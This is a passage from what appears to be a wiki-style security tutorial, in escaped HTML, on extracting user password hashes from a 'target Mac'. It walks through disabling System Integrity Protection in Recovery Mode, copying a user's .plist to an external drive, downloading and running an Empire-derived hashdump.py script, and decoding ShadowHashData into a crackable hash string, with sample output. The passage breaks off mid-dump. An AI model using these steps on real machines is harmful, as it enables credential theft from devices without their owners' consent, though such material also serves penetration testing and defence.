&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;In Order to access the property lists (.plist) containing the user password hashes stored in the &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; directory, Apple&#039;s System Integrity Protection (SIP) must be deactivated, or an &amp;quot;Operation not permitted&amp;quot; message will be returned, even for root.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Check System Integrity Protection Status:&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; csrutil status&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;System Integrity Protection status: {enabled|disabled}&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Disable System Integrity Protection from Recovery Mode Terminal:&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; csrutil disable&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;Successfully disabled System Integrity Protection.&lt;br /&gt;
 Please restart the machine for the changes to take effect.&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After a restart, the Recovery Mode Terminal must now be started again to continue.&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; shutdown -r now&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;csrutil status&amp;lt;/code&amp;gt; should state that SIP is disabled, so that the next steps can be taken.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Extract Password Hashes&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Now the external drive can be connected to the target Mac. After a short waiting period it should be automatically mounted under &amp;lt;code&amp;gt;/Volumes&amp;lt;/code&amp;gt;. The desired property lists (.plist) containing the user password hashes stored in the &amp;lt;code&amp;gt;/var/db/dslocal/nodes/Default/&amp;lt;/code&amp;gt; directory can then be copied from the local to the external drive. The target .plist will use the target&#039;s username. Anyhow, Recovery Mode can also be used to directly extract private data and reset user passwords.&amp;lt;/p&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; cp /Volumes/&amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$INTERNAL_DRIVE&amp;lt;/span&amp;gt;/var/db/dslocal/nodes/Default/users/&amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$USERNAME&amp;lt;/span&amp;gt;.plist /Volumes/&amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$EXTERNAL_DRIVE&amp;lt;/span&amp;gt;/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The disk configuration can be verified using &amp;lt;code&amp;gt;diskutil list&amp;lt;/code&amp;gt;. The &amp;lt;i&amp;gt;&amp;lt;hard drive name&amp;gt;&amp;lt;/i&amp;gt; will likely be &amp;quot;macOS&amp;quot;, but may be &amp;quot;Macintosh HD&amp;quot; or some variation. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: SIP should be reenabled using &amp;lt;code&amp;gt;csrutil enable&amp;lt;/code&amp;gt; when done extracting .plist files.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;In the following, a Python script is used to extract the hash from the .plist. This script is part of the [https://github.com/EmpireProject Empire Project Framework] and can be found at [https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/python/collection/osx/hashdump.py Github]. To do this, first copy the .plist files from the external drive into the &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; directory. The modified Python script by [https://github.com/tokyoneon tokyoneon] will automatically process all .plists in that folder. The resulting String will be used with Hashcat or John the Ripper to crack the user password and is explained in the next [[#Crack Password Hashes|Section]].&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; cp /Volumes/&amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$EXTERNAL_DRIVE&amp;lt;/span&amp;gt;/&amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$USERNAME&amp;lt;/span&amp;gt;.plist /tmp&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; curl &#039;https://raw.githubusercontent.com/tokyoneon/hashdump.py/master/hashdump.py&#039; -o hashdump.py&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; chmod +x ./hashdump.py&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; sudo python ./hashdump.py 2&amp;gt; /dev/null | cut -d &amp;quot;&#039;&amp;quot; -f4&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:grey; word-wrap: break-word;&amp;quot;&amp;gt;$ml$14771$0bf1e3c92dfd414d0a2cd53caa813b5ca2d4a58f0ec45446bf7b43bddb858959$11d81e3b9ea5f6a0fc0901af6fac09f784c8df8896643ff88f6fe032dfaa99c077190d2c017f24333a08794dc795864e959cb678ec1b78d885df8cfbe2453c8c&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #a7d7f9; background-color: #FEFEFE;calc(100% - 12px); overflow:auto; margin-top: -14px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Detailed Information about the process done by the hashdump.py script&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot; style=&amp;quot;font-size: 14px !important&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The core functions of the hashdump.py script will be explained in the following and as these steps can also be executed manually. At the beginning it will be explained how the shadow hash is extracted from the .plist and in a second part how it can be output in a format suitable for use with hashcat or John the Ripper password cracking tool.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 10px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; defaults read /var/db/dslocal/nodes/Default/users/&amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$USERNAME&amp;lt;/span&amp;gt;.plist ShadowHashData | tr -dc 0-9a-f | xxd -r -p | plutil -convert xml1 - -o -&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;&amp;lt;nowiki&amp;gt;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;lt;/nowiki&amp;gt;&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;dict&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;    &amp;lt;key&amp;gt;SALTED-SHA512-PBKDF2&amp;lt;/key&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;    &amp;lt;dict&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;lt;key&amp;gt;&amp;lt;u style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;entropy&amp;lt;/u&amp;gt;&amp;lt;/key&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;amp;lt;data&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        EdgeO56l9qD8CQGvb6wJ94TI34iWZD/4j2/gMt+qmcB3GQ0sAX8kMzoIeU3H&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        lYZOlZy2eOwbeNiF34z74kU8jGkC3zxfZVo6NpElzS4N41O+KxDI4m/P/bg4&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        kQIPaXaKz+jSd/6gyx2H78o5wkKC2NzWCVc6FbsUk2qElJNhEBo=&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;amp;lt;/data&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;lt;key&amp;gt;&amp;lt;u style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;iterations&amp;lt;/u&amp;gt;&amp;lt;/key&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;lt;integer&amp;gt;14771&amp;lt;/integer&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;lt;key&amp;gt;&amp;lt;u style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;salt&amp;lt;/u&amp;gt;&amp;lt;/key&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;amp;lt;data&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        C/HjyS39QU0KLNU8qoE7XKLUpY8OxFRGv3tDvduFiVk=&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;amp;lt;/data&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;    &amp;lt;/dict&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;/dict&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;/plist&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The &amp;lt;code&amp;gt;defaults read&amp;lt;/code&amp;gt; command returns the record with the &amp;quot;ShadowHashData&amp;quot; key from the dictionary within the .plist. While the second part of the command &amp;lt;code&amp;gt;tr -dc 0-9a-f&amp;lt;/code&amp;gt; removes anything except hexadecimal chars &amp;lt;code&amp;gt;0-9a-f&amp;lt;/code&amp;gt;. &amp;lt;code&amp;gt;xxd -r -p&amp;lt;/code&amp;gt; reverts it to binary and &amp;lt;code&amp;gt;plutil -convert xml1 - -o -&amp;lt;/code&amp;gt; creates a human-readable xml-based plist containing the the ShadowHashData, which will be used in the next step. &amp;lt;code&amp;gt;-o -&amp;lt;/code&amp;gt; redirects output to stdin and may be changed to &amp;lt;code&amp;gt;-o ./ShadowHashData.plist&amp;lt;/code&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: I mentioned that &amp;lt;code&amp;gt;defaults read $USERNAME.plist ShadowHashData&amp;lt;/code&amp;gt; changed the outputted data format in macOS 10.15, which results in a malfunctioning script when piping the resulting string.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: lightgrey; background-color: white;calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; On macOS 10.14 (Mojave):&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 10px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
$ defaults read /Volumes/OS/admin.plist ShadowHashData&lt;br /&gt;
(&lt;br /&gt;
    &amp;lt;62706c69 73743030 d2010203 0a5f101e 5352502d 52464335 3035342d 34303936 2d534841 3531322d 50424b44 46325f10 1453414c 5445442d 53484135 31322d50 424b4446 32d30405 06070809 58766572 69666965 72547361 6c745a69 74657261 74696f6e 734f1102 00ccd171 6392f35d 67ef7422 c901916d ffc7f3ad 60dc7c16 3f27f7ca 8a52d6f1 a58b5098 10860574 7c759057 87189d4f bd2d424f e9c1151a 9529e37b b977fa3e 012fd3c8 2ee4a59b ce6ae561 11016977 2941b9b9 0b625d6f 14818f4c 897de779 26aaef08 f0eaefbc f23546b6 9f5f582d eeec2721 1443d211 ef9e7173 3c381f62 c12ef96d bb83cac9 5ccbe592 7c66d400 ef8ea2ed 20504780 5d30c98b c6c15616 5d3a1899 52fe4de8 faf5322f c74ec697 bb6db1c2 00fbd7eb dda384e0 f63d13ad 9e8d893d 29ae580d a672eb4b 6adf9ccb 98f3c399 a54dbb98 ead15464 156571d1 36f31ed7 d296ef19 67fa7892 9f30667c ae7a2bc0 01dee07d 29315da0 b2ae906a 0bdd63d1 ecc4f1db 4a96d223 e4748f05 42b5c3c7 5a6803f0 4402e4d1 ad9226fd 78feb54a ebf71e39 99cd0139 d5c35521 402944d3 44b949ca 0d13d1ac afdb77a7 6f247c5c 6d5aee1a 6073bfd3 5237ee4b 806b09e2 b8f3eeea 6537f84c 1c0938e6 dd621388 7097f1b0 312f9994 37eb0e00 85ae55d4 2875557b d0fd13b7 0329e639 99c39c63 01ddd0da 3096d198 dad21151 2845091d 1724c0cf bafe5717 29477d61 835ea1ce 8432b321 5b409811 ad4892f6 05897ddd fb44c8be 3b7f4fd0 af4b5db0 2dd7eb5d 94f78c42 f70063a8 a2154b78 cfe3f036 3bfc37e6 3d0dc90f f6239a76 a10170a3 8442a3ac 2f028b86 bf0bb165 187a13ae 8ece8ed6 45981f62 59f6d574 934f1020 e84f75a5 e79987e1 0122552c 23be5cb9 86d7834a 221d0de3 0582d463 e2c17cf8 1139b3d3 0b05060c 0d095765 6e74726f 70794f10 8011d81e 3b9ea5f6 a0fc0901 af6fac09 f784c8df 8896643f f88f6fe0 32dfaa99 c077190d 2c017f24 333a0879 4dc79586 4e959cb6 78ec1b78 d885df8c fbe2453c 8c6902df 3c5f655a 3a369125 cd2e0de3 53be2b10 c8e26fcf fdb83891 020f6976 8acfe8d2 77fea0cb 1d87efca 39c24282 d8dcd609 573a15bb 14936a84 94936110 1a4f1020 0bf1e3c9 2dfd414d 0a2cd53c aa813b5c a2d4a58f 0ec45446 bf7b43bd db858959 0008000d 002e0045 004c0055 005a0065 0269028c 028f0296 029e0321 00000000 00000201 00000000 0000000e 00000000 00000000 00000000 00000344&amp;gt;&lt;br /&gt;
)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: lightgrey; background-color: white;calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; On macOS 10.15 (Catalina):&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 10px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
 $ defaults read /Volumes/OS/admin.plist ShadowHashData&lt;br /&gt;
 (&lt;br /&gt;
    {length = 896, bytes = 0x62706c69 73743030 d2010203 0a5f101e ... 00000000 00000344 }&lt;br /&gt;
 )&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;This means that the shadow hash &amp;quot;needs&amp;quot; to be extracted &amp;quot;manually&amp;quot; on macOS 10.15. This can be done by parsing the .plist from binary to xml and manually looking for the &amp;lt;i&amp;gt;ShadowHashData&amp;lt;/i&amp;gt; key. This data needs to be decoded base64 and then converted to xml in order to get the same output as with the working command on macOS &amp;lt;10.15.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 10px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; plutil -convert xml1 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$USERNAME&amp;lt;/span&amp;gt;.plist | cat &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$USERNAME&amp;lt;/span&amp;gt;.plist&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;&amp;lt;nowiki&amp;gt;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;lt;/nowiki&amp;gt;&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;dict&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;    [...]&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;    &amp;lt;key&amp;gt;ShadowHashData&amp;lt;/key&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;    &amp;lt;array&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;amp;lt;data&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        YnBsaXN0MDDSAQIDCl8QHlNSUC1SRkM1MDU0LTQwOTYtU0hBNTEyLVBCS0RG&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        Ml8QFFNBTFRFRC1TSEE1MTItUEJLREYy0wQFBgcICVh2ZXJpZmllclRzYWx0&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        Wml0ZXJhdGlvbnNPEQIAzNFxY5LzXWfvdCLJAZFt/8fzrWDcfBY/J/fKilLW&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        8aWLUJgQhgV0fHWQV4cYnU+9LUJP6cEVGpUp43u5d/o+AS/TyC7kpZvOauVh&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        EQFpdylBubkLYl1vFIGPTIl953kmqu8I8OrvvPI1RrafX1gt7uwnIRRD0hHv&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        nnFzPDgfYsEu+W27g8rJXMvlknxm1ADvjqLtIFBHgF0wyYvGwVYWXToYmVL+&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        Tej69TIvx07Gl7ttscIA+9fr3aOE4PY9E62ejYk9Ka5YDaZy60tq35zLmPPD&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        maVNu5jq0VRkFWVx0TbzHtfSlu8ZZ/p4kp8wZnyueivAAd7gfSkxXaCyrpBq&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        C91j0ezE8dtKltIj5HSPBUK1w8daaAPwRALk0a2SJv14/rVK6/ceOZnNATnV&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        w1UhQClE00S5ScoNE9Gsr9t3p28kfFxtWu4aYHO/01I37kuAawniuPPu6mU3&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        +EwcCTjm3WITiHCX8bAxL5mUN+sOAIWuVdQodVV70P0TtwMp5jmZw5xjAd3Q&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        2jCW0Zja0hFRKEUJHRckwM+6/lcXKUd9YYNeoc6EMrMhW0CYEa1IkvYFiX3d&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        +0TIvjt/T9CvS12wLdfrXZT3jEL3AGOoohVLeM/j8DY7/DfmPQ3JD/Yjmnah&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        AXCjhEKjrC8Ci4a/C7FlGHoTro7OjtZFmB9iWfbVdJNPECDoT3Wl55mH4QEi&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        VSwjvly5hteDSiIdDeMFgtRj4sF8+BE5s9MLBQYMDQlXZW50cm9weU8QgBHY&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        Hjuepfag/AkBr2+sCfeEyN+IlmQ/+I9v4DLfqpnAdxkNLAF/JDM6CHlNx5WG&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        TpWctnjsG3jYhd+M++JFPIxpAt88X2VaOjaRJc0uDeNTvisQyOJvz/24OJEC&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        D2l2is/o0nf+oMsdh+/KOcJCgtjc1glXOhW7FJNqhJSTYRAaTxAgC/HjyS39&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        QU0KLNU8qoE7XKLUpY8OxFRGv3tDvduFiVkACAANAC4ARQBMAFUAWgBlAmkC&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        jAKPApYCngMhAAAAAAAAAgEAAAAAAAAADgAAAAAAAAAAAAAAAAAAA0Q=&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;amp;lt;/data&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;    &amp;lt;/array&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        [...]&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;/dict&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;/plist&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; echo &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$SHADOW_HASH_DATA&amp;lt;/span&amp;gt; | base64 --decode | plutil -convert xml1 - -o -&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;&amp;lt;nowiki&amp;gt;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;lt;/nowiki&amp;gt;&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;dict&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;    &amp;lt;key&amp;gt;SALTED-SHA512-PBKDF2&amp;lt;/key&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;    &amp;lt;dict&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;lt;key&amp;gt;&amp;lt;u style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;entropy&amp;lt;/u&amp;gt;&amp;lt;/key&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;amp;lt;data&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
